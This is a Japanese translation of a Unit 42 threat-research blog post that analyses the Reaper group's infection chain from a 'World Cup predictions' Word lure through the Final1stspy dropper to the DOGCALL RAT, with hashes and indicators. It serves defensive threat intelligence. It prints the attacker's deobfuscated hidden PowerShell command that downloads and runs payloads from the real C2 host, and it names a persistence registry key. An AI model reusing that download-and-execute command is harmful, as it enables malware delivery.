※ 本記事は2018年10月1日に米国で公開された「NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT」の日本語翻訳です。

概要

Unit 42は最近、ロシア語およびカンボジア語を話す個人または組織を標的とする、政治的な動機付けを持つルアー(わな)を含む攻撃で使用されたNOKKIマルウェア ファミリを紹介しました。この調査の中で Reaperと呼ばれる脅威グループとの興味深いつながりが発見されました。

Reaperグループは、別のセキュリティ組織によって北朝鮮に属していると明らかにされていて、この国の利害に沿う組織を標的にしています。このような標的とされる組織には、韓国内の軍事/防衛産業および北朝鮮と取引があった中東の組織などが挙げられます。このグループの手口の一部には、DOGCALLと呼ばれるカスタム マルウェア ファミリの使用が含まれます。DOGCALLは、リモート アクセス型トロイの木馬(RAT)の1つで、サードパーティのホスティング サービスを使用し、データをアップロードしてコマンドを受け取ります。この特定のマルウェア ファミリは、公表時点で、Reaper脅威グループに使用されていることが確認されたのみです。

このブログでは、NOKKIマルウェア ファミリとDOGCALLマルウェア ファミリの間に見つかった関係を詳細に説明し、DOGCALLを展開するために使用された、未報告のマルウェア ファミリについての追加情報を提供します。弊社は、この未報告のマルウェアをPDB文字列に基づいてFinal1stspyと命名しました。

結び付き

Unit 42は、NOKKIマルウェアの脅威を調査中、Microsoft Word文書内で悪意のあるマクロを利用して2018年7月に始まった最新の連続攻撃を発見しました。これら特定のマクロは本質的にそれほど複雑ではなく、単に次のアクションを実行しようとしました。

  • 実行可能なマルウェア ペイロードをダウンロードして実行する。
  • Microsoft Wordのおとり文書をダウンロードして開く。

このマクロは、検出を回避するため、興味深い文字列の単純な難読化を採用しており、結局、base64エンコーディングのみを使用しています。ただし、まずbase64でエンコードされたテキストを16進数に変換し、その16進数をテキスト文字列に変換するという変わった手法を使用しました。

図1 リモート ペイロードをダウンロードして実行する悪意のあるマクロ(理解しやすいようにUnit 42がコメントを追加しています)

図2 固有の難読化解除スキームを実装した悪意のあるマクロ(マルウェア作成者がコメントを追加しています)

 

NOKKIを配信するすべてのサンプルにあるこの固有の難読化解除手法を調べた結果、別のファイルが1つ見つかりました。このファイルには次の特性がありました。

MD5

e02024f38dfb6290ce0d693539a285a9

SHA1

d13fc918433c705b49db74c91f56ae6c0cb5cf8d

SHA256

66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51

作成者

Windows User

作成日

2018-03-19 07:58:00 UTC

最終変更日

2018-06-16 14:19:00 UTC

元のファイル名

World Cup predictions.doc

元のファイル名に基づくと、このマルウェア サンプルが2018年にロシアで開催されたワールドカップに関心を持つ個人を標的にしていたことが推測できます。下図で分かるように、両サンプル間で使用された固有の難読化解除ルーチンは、作成者が記入したコメントまで同じです。

図3 NOKKIドロッパーとWorld Cup predictionsドロッパーの類似点

難読化解除ルーチンは同じでしたが、マクロの実際の機能は若干異なっていました。NOKKIドロッパー サンプルは、ペイロードとおとり文書の両方をダウンロードしましたが、このWorld Cup predictionsマルウェア サンプルはHTMLでラップされたリモートVBScriptファイルをダウンロードして実行し、元のWord文書にテキストを追加して被害端末にルアーを仕掛けます。

問題のルアーには、英国のESPNに記載された公開記事から抽出した以下のテキストが含まれています。

Peru and Denmark face off in the third match, and this time it doesn't seem as one sided. Four people go for a Peru victory, three for Denmark and three for the draw. Last but not least, we get to see Croatia and Nigeria for the first time. Our Nigeria expert, Colin, reckons there will be plenty of goals and a 3-2 win for his side -- the only person to back the Super Eagles. Check out how our pundits got on with their predictions for following games and remember to join the pundits' league in Match Predictor. We've got our top talent on hand from England, the United States, Mexico, Brazil, Argentina, Colombia, Australia, and Africa -- many of whom will be based out in Russia for the tournament -- to analyze each and every one of the 64 matches. We'll score our experts just as we do in the Match Predictor -- 10 points for correct result, with a bonus 20 points for getting the score line right too.

興味深いことに、2つのコメント付きルアーが、この文書にも含まれていました。1つ目のルアーには「I miss u.」というフレーズが含まれているだけですが、2つ目には、北朝鮮のリーダーのシンガポール訪問を説明しているオンラインの公開記事から抽出したテキスト(以下参照)が含まれています。

This aircraft seems to have conveyed a North Korean advance team including diplomats and security personnel. The 747-400, which just landed in Singapore, was apparently used to fly Kim and his personal aides to the summit. This would also be consistent with our previous reporting that North Korea had settled on such a plan. The Jumbo Jet in question is quite special. B-2447 is used by the top rungs of the Chinese government, predominantly President Xi Jinping and his entourage, when traveling abroad. It is capable of being specially outfitted with a VIP interior and has special interfaces for secure satellite communications among other modifications. With this in mind, it wasn't surprising seeing it being used as 'Kim Force One' for this special mission.

World Cup predictions.docファイルの一連の実行を完了すると、DOGCALLマルウェア サンプルが被害端末で実行されます。

このマルウェアで使用されたコメント付きルアーおよびペイロードは、DOGCALLがReaperと呼ばれる脅威グループに属しているという興味深い詳細を提供しています。また、Reaperは別のセキュリティ組織によって北朝鮮に属していることが分かっています。

マルウェアの連続実行

World Cup predictions.docの最初の実行が行われた後、次のURLからVBScriptファイルがダウンロードされます。

http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html

このVBScriptファイルにも、前述のまったく同じ固有の難読化解除ルーチンが

含まれています。この第2段階のVBScriptファイルを実行すると、次のデータを

%APPDATA%\Microsoft\mib.datに書き込み始めます。このファイルは、後でFinal1stspyマルウェア ファミリによって使用されます。このことについては後で説明します。

1111:rom*E8FEF0CDF6C1EBBA90794B2B

このファイルは、書き込まれた後に以下(難読化解除)を実行します。

objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

この実行されたコードは、単純にhttp://kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpgおよびhttp://kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg から2つのファイルをダウンロードし、これらをそれぞれ%APPDATA%/Microsoft/Windows/msvcrt32.dllおよび%APPDATA%/Microsoft/ieConv.exeに保存します。最後に、新しいプロセスでVBScriptファイルが前にダウンロードしたieConv.exeファイルを実行します。

これら2つのファイルは、以前未報告だったドロッパー マルウェア ファミリの例で、弊社ではこれをFinal1stspyと呼んでいます。

Final1stspyの概要

前述のとおり、Final1stspyマルウェア ファミリは、実行可能ファイルとDLLに分かれています。これらのファイルには次の特性があります(注意: DLLの情報は、マルウェアによって復号された後に提供されます)。

MD5

0f1d3ed85fee2acc23a8a26e0dc12e0f

SHA1

3d161de48d3f4da0aefff685253404c8b0111563

SHA256

fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a

ファイル タイプ

PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応

ファイル名

wwwtest.jpg

コンパイル タイムスタンプ

2018-06-01 15:52:41 UTC

PDB文字列

E:\Final Project(20180108)\Final1stspy\LoadDll\Release\LoadDll.pdb

MD5

a2fe5dcb08ae8b72e8bc98ddc0b918e7

SHA1

741dbdb20d1beeb8ff809291996c8b78585cb812

SHA256

0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a

ファイル タイプ

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

ファイル名

happy.jpg

コンパイル タイムスタンプ

2018-06-17 17:04:15 UTC

PDB文字列

E:\Final Project(20180108)\Final1stspy\hadowexecute - Copy\Release\hadowexecute.pdb

ご覧のとおり、両方のサンプルは、それぞれ2週間の内にコンパイルされました。

また、このマルウェアを配信するために使用された元のMicrosoft Word文書の最終変更日は、DLLがコンパイルされた日のおよそ1日前でした。

実行可能ファイルとDLLは両方とも、特定のルーチンを利用して重要な文字列を難読化しています。Pythonで記述された次のコードがこれらの文字列をデコードします。

import base64
data = "[Obfuscated String]"
dataDecoded = b64decode(data)
outVar = ""
for char in dataDecoded:
outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff)
print(outVar)

Final1stspyマルウェアは、最初に以下のファイルの存在を検索します。

%APPDATA%\Microsoft\Windows\msvcrt64.dll

該当のファイルが存在する場合、このマルウェアはDLLをロードし、エクスポートしたmain_func 関数を呼び出そうとします。

ファイルが存在しない場合、このマルウェアは次のファイルを探索します。

%APPDATA%\Microsoft\Windows\msvcrt32.dll

該当のファイルが存在する場合、このマルウェアは、このファイルの0x50に対するXOR演算処理をして復号し、その結果を前述のmsvcrt64.dllパスに書き込んで、main_func関数をロードします。

このDLLは、実行可能ファイルで確認されたものと同じ文字列難読化ルーチンを使用します。まず、基本システム情報を収集し、次のレジストリ キーを%APPDATA%/Microsoft/ieConv.exeを指すように設定して永続性を確保します。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32

Final1stspyマルウェア ファミリは引き続き前に書き込んだmib.datファイルを読み取り、解析します。データは解析され、最終的に後続のHTTP GETリクエストで使用されますが、その際Index変数、Account変数、およびGroup変数を表します。

元の文字列

1111:rom*E8FEF0CDF6C1EBBA90794B2B

Index

1111

Account

E8FEF0CDF6C1EBBA90794B2B

Group

rom

Final1stspyには、ユーザー エージェント、URL、ポート、インターバル カウントなど、いくつかの変数が格納されている%APPDATA%/Microsoft/olevnc.iniファイルを読み取る機能があります。このファイルが存在しない場合(私たちが指定した状況などにおいて)、マルウェアはデフォルトでハードコードしたユーザー エージェントおよびURLになります。この特定のサンプルはHost Process Updateのユーザー エージェントを使用してhttp://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php と通信します。

このマルウェアは、次の例のようにURLへのHTTP GETリクエストを実行します。

図4 Final1stspyマルウェア ファミリによって発行されたHTTPリクエスト

 

次のGETパラメータはこのリクエストに含まれています。

 

変数

データ

マシンId

被害端末から取得したデータから生成されたMD5

InfoSo

Microsoft Windowsのバージョン情報およびCPUアーキテクチャ

インデックス

mib.datから取得したデータ

アカウント

mib.datから取得したデータ

グループ

mib.datから取得したデータ

リスト

実行中プロセスのリスト(base64エンコード)

このマルウェアは、0x49のシングルバイトXORキーを使用して後に復号されるペイロードの受信を期待しています。このペイロードは被害端末にロードされます。復号後、次のペイロードが特定されました。

MD5

05d43d417a8f50e7b23246643fc7e03d

SHA1

67c05b3937d94136eda4a60a2d5fb685abc776a1

SHA256

3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f

ファイル タイプ

PE32実行可能ファイル(GUI) Intel 80386、MS Windows対応

ファイル名

girl.jpg

コンパイル タイムスタンプ

2018-05-26 10:46:59 UTC

上記のコンパイル タイプスタンプから分かるように、このファイルはFinal1stspy実行可能ファイルと同時期にコンパイルされたようです。このペイロードはDOGCALLマルウェア ファミリに属していると特定されました。被害端末で実行できるアクションは以下のとおりです。

  • スクリーンショットの取得
  • キーロギング
  • マイクのデータの捕捉
  • 被害端末の情報の収集
  • 関心のあるファイルの収集
  • 追加のペイロードのダウンロードと実行

このマルウェアはサードパーティのホスティング サービスと通信して、次のサービスを含むC2チャンネルを探します。

  • Dropbox
  • pCloud
  • Yandex Cloud
  • Box

結論

元々、NOKKIという名前の新しいマルウェア ファミリ周辺の調査として始めた活動によって、コードの重複などKONNIとのつながりがNOKKIに見つかり、NOKKIマルウェア ファミリとReaper脅威グループとのつながりという興味深い発見に至りました。マクロ的な関係は、良く言ったところで薄いことは明らかですが、コメント付きの北朝鮮関連のルアー情報やDOGCALLマルウェア ペイロードなどさまざまな興味深い側面が明らかになりました。また、公には未報告のさらに別のマルウェア ファミリを発見し、これをFinal1stspyと命名しました。

Unit 42は、この脅威を引き続き監視し、今後新たな事実が発見された場合には報告します。パロアルトネットワークスのお客様は、この脅威から以下に示す方法で保護されています。

  • 確認されたすべてのマルウェアはWildFireによって悪意あるものとして適切に区分されます。
  • Trapsはこの脅威をブロックします。
  • AutoFocusのお客様は、KONNI、NOKKI、Final1stspy、DOGCALL、およびReaperのタグを使用して、この脅威を追跡できます。

IOC

World Cup predictionsのサンプル

66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51

Final1stspyのサンプル

0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a

fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a

DOGCALLのサンプル

3fee068bf90ffbeb25549eb52be0456609b1decfe91cda1967eb068ef2c8918f

インフラストラクチャ

kmbr1.nitesbr1[.]org


 

パロアルトネットワークス管理者ガイド日本語版

このガイドで、パロアルトネットワークスのファイアウォールのWeb管理画面の使用方法を説明します。対象は設置、運用管理、メンテナンスを行うシステム管理者向けです。 ※このページで提供する管理者ガイドが最新版でない可能性があります。最新版に関しては、製品をご購入された販売代理店にご相談ください。  
  • 3
  • 15342

PA-800 Series

主なセキュリティ機能: すべてのアプリケーションをすべてのポートで常時識別 • 使用されているポートや暗号化(SSLまたはSSH)、セキュリティの回避技術に関わらず、アプリケーションを識別します。 • 許可、拒否、スケジュール、スキャン、帯域制御の適用などのセキュリティ ポリシー決定の要素として、ポートではなくアプリケーションを使用します。 • 不明なアプリケーションを、ポリシー制御、脅威のフォレンジック、またはApp-ID™アプリケーション識別テクノロジの開発が行えるよう分類します。
  • 1
  • 10599

PA-3200 Series スペックシート

パロアルトネットワークス® PA-3200 Series の次世代ファイアウォールは、PA-3260、PA-3250、およびPA-3220 で構成されています。これらのモデルはすべて高速の インターネット ゲートウェイでの導入を目的としたものです。PA-3200 Seriesはネットワーキング、セキュリティ、脅威防御および管理のための専用処理およびメモリ を使用して、暗号化トラフィックを含むすべてのトラフィックを保護します。
  • 0
  • 3097

PA-3000 Series スペックシート

PA-3000シリーズの主な機能、パフォーマンスと容量、および仕様。
  • 1
  • 8533

PA-5200 Series

パロアルトネットワークス® PA-5200 Seriesの次世代ファイアウォール アプライアンスは、PA-5260、PA-5250、PA-5220から構成されており、高速データセンター、インターネット ゲートウェイ、およびサービス プロバイダでの導入に適しています。PA-5200シリーズは、ネットワーキング、セキュリティ、脅威からの防御と管理の重要な機能領域専用の処理機能とメモリを使用して、最大80Gbpsのスループットを提供します。
  • 0
  • 5437